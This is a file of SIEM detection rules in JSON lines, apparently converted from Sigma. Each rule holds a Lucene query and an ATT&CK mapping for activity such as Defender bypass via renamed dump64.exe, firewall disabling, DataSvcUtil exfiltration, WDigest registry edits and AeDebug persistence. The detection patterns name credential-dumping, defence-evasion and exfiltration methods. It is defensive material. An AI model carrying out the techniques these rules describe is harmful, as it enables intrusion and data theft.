{"description": "Detects when a temporary access pass (TAP) is added to an account. TAPs added to priv accounts should be investigated", "enabled": false, "false_positives": ["Administrator adding a legitmate temporary access pass"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "7e9dea9d-9235-d483-f1c0-9c2b06a14b13", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Temporary Access Pass Added To An Account", "query": "(properties.message:\"Admin\\ registered\\ security\\ info\" AND winlog.event_data.Status:\"Admin\\ registered\\ temporary\\ access\\ pass\\ method\\ for\\ user\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1078"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1078", "name": "Valid Accounts", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1078", "name": "Valid Accounts", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Mark Morowczynski '@markmorow'", "Yochana Henderson", "'@Yochana-H'"], "license": ""}
{"description": "Detects when a transfer lock was removed from a Route 53 domain. It is recommended to refrain from performing this action unless intending to transfer the domain to a different registrar.", "enabled": false, "false_positives": ["A domain transfer lock may be disabled by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Activity from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "0c6bfb35-0b75-992d-fa09-d98d0a0e1eb6", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "AWS Route 53 Domain Transfer Lock Disabled", "query": "(eventSource:\"route53.amazonaws.com\" AND eventName:\"DisableDomainTransferLock\")", "meta": {"from": "1m"}, "severity": "low", "tags": ["Credential Access", "T1098"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1098", "name": "Account Manipulation", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Elastic", "Austin Songer @austinsonger"], "license": ""}
{"description": "Detects when a user bypasses Defender by renaming a tool to dump64.exe and placing it in a Visual Studio folder", "enabled": false, "false_positives": ["Dump64.exe in other folders than the excluded one"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "daa96808-195e-4b62-6aa3-4840c2c24f37", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Dump64.exe Execution", "query": "(process.executable:*\\\\dump64.exe AND ((NOT (process.executable:*\\\\Installer\\\\Feedback\\\\dump64.exe*)) OR process.command_line:(*\\ \\-ma\\ * OR *accpeteula*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger", "Florian Roth"], "license": ""}
{"description": "Detects when a user disables the Windows Firewall via a Profile to help evade defense.", "author": ["Austin Songer @austinsonger"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "05695a7a-e056-a9ee-93a1-1a59d8ee092a", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Windows Firewall Profile Disabled", "query": "(powershell.file.script_block_text:*Set\\-NetFirewallProfile\\ * AND powershell.file.script_block_text:*\\ \\-Enabled\\ * AND powershell.file.script_block_text:*\\ False* AND powershell.file.script_block_text:(*\\ \\-All\\ * OR *Public* OR *Domain* OR *Private*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": ["", "", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects when a user enable developer features such as \"Developer Mode\" or \"Application Sideloading\". Which allows the user to install untrusted packages.", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b8bf1493-e191-cd5e-31ed-8d0ed5783c0e", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Potential Signing Bypass Via Windows Developer Features", "query": "(((process.executable.text:*\\\\SystemSettingsAdminFlows.exe) OR (winlog.event_data.OriginalFileName:\"SystemSettingsAdminFlows.EXE\")) AND process.command_line.text:*TurnOnDeveloperFeatures* AND process.command_line.text:(*DeveloperUnlock* OR *EnableSideloading*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["Internal Research", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects when a user enables DNS-over-HTTPS. This can be used to hide internet activity or be used to hide the process of exfiltrating data. With this enabled organization will lose visibility into data such as query type, response and originating IP that are used to determine bad actors.", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b017e15c-b8a7-9d39-c605-b8b74b2c9dc9", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "DNS-over-HTTPS Enabled by Registry", "query": "(winlog.event_data.EventType:\"SetValue\" AND ((winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Edge\\\\BuiltInDnsClientEnabled AND winlog.event_data.Details:\"DWORD\\ \$0x00000001\$\") OR (winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Google\\\\Chrome\\\\DnsOverHttpsMode AND winlog.event_data.Details:\"secure\") OR (winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Policies\\\\Mozilla\\\\Firefox\\\\DNSOverHTTPS\\\\Enabled AND winlog.event_data.Details:\"DWORD\\ \$0x00000001\$\")))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1112", "T1140"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}, {"id": "T1140", "name": "Deobfuscate/Decode Files or Information", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer"], "license": ""}
{"description": "Detects when a user has been elevated to manage all Azure Subscriptions. This change should be investigated immediately if it isn't planned. This setting could allow an attacker access to Azure subscriptions in your environment.", "enabled": false, "false_positives": ["If this was approved by System Administrator."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "39800a84-9b6a-0d26-8e51-0cd592791807", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Azure Subscription Permission Elevation Via ActivityLogs", "query": "properties.message:\"MICROSOFT.AUTHORIZATION\\/ELEVATEACCESS\\/ACTION\"", "meta": {"from": "1m"}, "severity": "high", "tags": ["Initial Access", "T1078"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1078", "name": "Valid Accounts", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Detects when a user has been elevated to manage all Azure Subscriptions. This change should be investigated immediately if it isn't planned. This setting could allow an attacker access to Azure subscriptions in your environment.", "enabled": false, "false_positives": ["If this was approved by System Administrator."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "f34d5d02-51e8-15fd-e27a-bd731035e6dc", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Azure Subscription Permission Elevation Via AuditLogs", "query": "(Category:\"Administrative\" AND OperationName:\"Assigns\\ the\\ caller\\ to\\ user\\ access\\ admin\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Initial Access", "T1078"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1078", "name": "Valid Accounts", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Detects when a user installs certificates by using CertOC.exe to loads the target DLL file.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "73a4a187-a06f-7dc4-6a51-01351924f66c", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Load DLL via CertOC.exe", "query": "(process.executable:*\\\\certoc.exe AND process.command_line:*\\-LoadDLL* AND process.command_line:*.dll*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Detects when a user is removed from a privileged role. Bulk changes should be investigated.", "enabled": false, "false_positives": ["Legtimate administrator actions of removing members from a role"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "2a908136-fc74-1cda-8d93-c9c04f041b33", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Bulk Deletion Changes To Privileged Account Permissions", "query": "properties.message:(\"Remove\\ eligible\\ member\\ \$permanent\$\" OR \"Remove\\ eligible\\ member\\ \$eligible\$\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1098"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1098", "name": "Account Manipulation", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Mark Morowczynski '@markmorow'", "Yochana Henderson", "'@Yochana-H'"], "license": ""}
{"description": "Detects when a user manipulates with Firmward Password on MacOS. NOTE - this command has been disabled on silicon-based apple computers.", "enabled": false, "false_positives": ["Legitimate administration activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "051a1237-d69c-0b93-b5e4-03dd19f35031", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious MacOS Firmware Activity", "query": "(process.executable:\"\\/usr\\/sbin\\/firmwarepasswd\" AND process.command_line:(*setpasswd* OR *full* OR *delete* OR *check*))", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Detects when a user manipulates with Firmward Password on MacOS. NOTE - this command has been disabled on silicon-based apple computers.", "enabled": false, "false_positives": ["Legitimate administration activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "051a1237-d69c-0b93-b5e4-03dd19f35031", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious MacOS Firmware Activity", "query": "(process.executable.text:\"\\/usr\\/sbin\\/firmwarepasswd\" AND process.command_line.text:(*setpasswd* OR *full* OR *delete* OR *check*))", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Detects when a user performs data exfiltration by using DataSvcUtil.exe", "enabled": false, "false_positives": ["DataSvcUtil.exe being used may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "DataSvcUtil.exe being executed from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "dffd0f4f-8a69-a01a-8968-27eb3e7b0c33", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "LOLBAS Data Exfiltration by DataSvcUtil.exe", "query": "(process.command_line:*\\/in\\:* AND process.command_line:*\\/out\\:* AND process.executable:*\\\\DataSvcUtil.exe)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1567"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0010", "reference": "", "name": "Exfiltration"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1567", "name": "Exfiltration Over Web Service", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["Ialle Teixeira @teixeira0xfffff", "Austin Songer @austinsonger"], "license": ""}
{"description": "Detects when a user tampers with S3 data management in Amazon Web Services.", "enabled": false, "false_positives": ["A S3 configuration change may be done by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. S3 configuration change from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "8491233f-f807-e895-ec58-648842b98889", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "AWS S3 Data Management Tampering", "query": "(eventSource:\"s3.amazonaws.com\" AND eventName:(\"PutBucketLogging\" OR \"PutBucketWebsite\" OR \"PutEncryptionConfiguration\" OR \"PutLifecycleConfiguration\" OR \"PutReplicationConfiguration\" OR \"ReplicateObject\" OR \"RestoreObject\"))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1537"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0010", "reference": "", "name": "Exfiltration"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1537", "name": "Transfer Data to Cloud Account", "reference": ""}]}], "version": 1, "references": ["", "", "", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Detects when a user that doesn't have permissions to invite a guest user attempts to invite one.", "enabled": false, "false_positives": ["A non malicious user is unaware of the proper process"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "601f7a81-122f-d2dc-a47d-360d5a0488ab", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Guest User Invited By Non Approved Inviters", "query": "(properties.message:\"Invite\\ external\\ user\" AND winlog.event_data.Status:\"failure\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1078"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1078", "name": "Valid Accounts", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1078", "name": "Valid Accounts", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Mark Morowczynski '@markmorow'", "Yochana Henderson", "'@Yochana-H'"], "license": ""}
{"description": "Detects when administrator grants either application permissions (app roles) or highly privileged delegated permissions", "enabled": false, "false_positives": ["When the permission is legitimately needed for the app"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "5fdc9754-5941-5695-3a6a-cf2e893334af", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "App Granted Privileged Delegated Or App Permissions", "query": "properties.message:\"Add\\ app\\ role\\ assignment\\ to\\ service\\ principal\"", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Bailey Bercik '@baileybercik'", "Mark Morowczynski '@markmorow'"], "license": ""}
{"description": "Detects when adversaries stop services or processes by disabling their respective schdueled tasks in order to conduct data destructive activities", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "157755d9-9f8f-bd4d-926f-1403f6352532", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Delete Important Scheduled Task", "query": "(process.executable.text:*\\\\schtasks.exe AND process.command_line.text:*\\/delete* AND process.command_line.text:*\\/tn* AND process.command_line.text:(*\\\\Windows\\\\SystemRestore\\\\SR* OR *\\\\Windows\\\\Windows\\ Defender\\\\* OR *\\\\Windows\\\\BitLocker* OR *\\\\Windows\\\\WindowsBackup\\\\* OR *\\\\Windows\\\\WindowsUpdate\\\\* OR *\\\\Windows\\\\UpdateOrchestrator\\\\* OR *\\\\Windows\\\\ExploitGuard*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1489"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1489", "name": "Service Stop", "reference": ""}]}], "version": 1, "references": ["Internal Research"], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects when an a role is modified or deleted in Google Workspace.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "6e7e08b4-1efa-51ab-5104-cf1991fe7592", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Google Workspace Role Modified or Deleted", "query": "(eventService:\"admin.googleapis.com\" AND eventName:(\"DELETE_ROLE\" OR \"RENAME_ROLE\" OR \"UPDATE_ROLE\"))", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer"], "license": ""}
{"description": "Detects when an a role privilege is deleted in Google Workspace.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "77514b81-6e1d-31a6-20fb-de70135a1085", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Google Workspace Role Privilege Deleted", "query": "(eventService:\"admin.googleapis.com\" AND eventName:\"REMOVE_PRIVILEGE\")", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer"], "license": ""}
{"description": "Detects when an account was created and deleted in a short period of time.", "enabled": false, "false_positives": ["Legit administrative action"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "fc255f83-4693-2506-0254-300e7d815a83", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Account Created And Deleted Within A Close Time Frame", "query": "(properties.message:(\"Add\\ user\" OR \"Delete\\ user\") AND winlog.event_data.Status:\"Success\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1078"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1078", "name": "Valid Accounts", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Mark Morowczynski '@markmorow'", "MikeDuddington", "'@dudders1'", "Tim Shelton"], "license": ""}
{"description": "Detects when an admin share is mounted using net.exe", "enabled": false, "false_positives": ["Administrators"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f0d5bf3b-388d-4e93-a6a7-a6c6ae6e99e0", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Mounted Windows Admin Shares with net.exe", "query": "(process.executable.text:(*\\\\net.exe OR *\\\\net1.exe) AND process.command_line.text:*\\ use\\ * AND process.command_line.text:*\\\\\\*\\\\*$*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Lateral Movement", "T1021"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["oscd.community", "Teymur Kheirkhabarov @HeirhabarovT", "Zach Stanford @svch0st", "wagga"], "license": ""}
{"description": "Detects when an adversary is trying to hide it's action from Sysmon logging based on error messages", "enabled": false, "false_positives": ["Legitimate administrative action"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6f77725e-d1d6-cb47-0f38-e03b48d19341", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Sysmon Configuration Error", "query": "(winlog.event_data.Description:(*Failed\\ to\\ open\\ service\\ configuration\\ with\\ error* OR *Failed\\ to\\ connect\\ to\\ the\\ driver\\ to\\ update\\ configuration*) AND (NOT ((winlog.event_data.Description:*Failed\\ to\\ open\\ service\\ configuration\\ with\\ error* AND winlog.event_data.Description:*Last\\ error\\:\\ The\\ media\\ is\\ write\\ protected.*) OR (winlog.event_data.Description:(*Failed\\ to\\ open\\ service\\ configuration\\ with\\ error\\ 19* OR *Failed\\ to\\ open\\ service\\ configuration\\ with\\ error\\ 93*)))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1564"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1564", "name": "Hide Artifacts", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects when an adversary uses the reg.exe utility to add or modify new keys or subkeys", "enabled": false, "false_positives": ["Rare legitimate add to registry via cli (to these locations)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "66782f77-9381-e608-e9a8-d47d65d987ba", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Reg Add Suspicious Paths", "query": "((process.executable.text:*\\\\reg.exe OR winlog.event_data.OriginalFileName:\"reg.exe\") AND process.command_line.text:(*\\\\AppDataLow\\\\Software\\\\Microsoft\\\\* OR *\\\\Policies\\\\Microsoft\\\\Windows\\\\OOBE* OR *\\\\Policies\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon* OR *\\\\CurrentControlSet\\\\Control\\\\SecurityProviders\\\\WDigest* OR *\\\\Microsoft\\\\Windows\\ Defender\\\\*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1112", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}, {"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113", "Nasreddine Bencherchali"], "license": ""}
{"description": "Detects when an an application is removed from Google Workspace.", "enabled": false, "false_positives": ["Application being removed may be performed by a System Administrator."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "379a8407-5837-9d22-21da-4848ad7b0afa", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Google Workspace Application Removed", "query": "(eventService:\"admin.googleapis.com\" AND eventName:(\"REMOVE_APPLICATION\" OR \"REMOVE_APPLICATION_FROM_WHITELIST\"))", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer"], "license": ""}
{"description": "Detects when an API access service account is granted domain authority.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "5b9adce4-492e-e0a8-32ba-1f5690759aba", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Google Workspace Granted Domain API Access", "query": "(eventService:\"admin.googleapis.com\" AND eventName:\"AUTHORIZE_API_CLIENT_ACCESS\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1098"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1098", "name": "Account Manipulation", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer"], "license": ""}
{"description": "Detects when an application is modified or deleted.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "b658dc76-6006-c144-fdf2-5aaac8abc35b", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Okta Application Modified or Deleted", "query": "eventtype:(\"application.lifecycle.update\" OR \"application.lifecycle.delete\")", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Detects when an application Sign-on Policy is modified or deleted.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "d2169c6c-bad2-6a37-2e3e-11e17da27e66", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Okta Application Sign-On Policy Modified or Deleted", "query": "eventtype:(\"application.policy.sign_on.update\" OR \"application.policy.sign_on.rule.delete\")", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Detects when an attacker adds a new \"Debugger\" value to the \"AeDebug\" key in order to achieve persistence which will get invoked when an application crashes", "enabled": false, "false_positives": ["Legitimate use of the key to setup a debugger. Which is often the case on developers machines"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "41f95b10-0460-8125-52e1-19c62f6a894b", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Add Debugger Entry To AeDebug For Persistence", "query": "((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\AeDebug\\\\Debugger* AND winlog.event_data.Details:*.dll) AND (NOT (winlog.event_data.Details:\"\\\"C\\:\\\\WINDOWS\\\\system32\\\\vsjitdebugger.exe\\\"\\ \\-p\\ %ld\\ \\-e\\ %ld\\ \\-j\\ 0x%p\")))", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
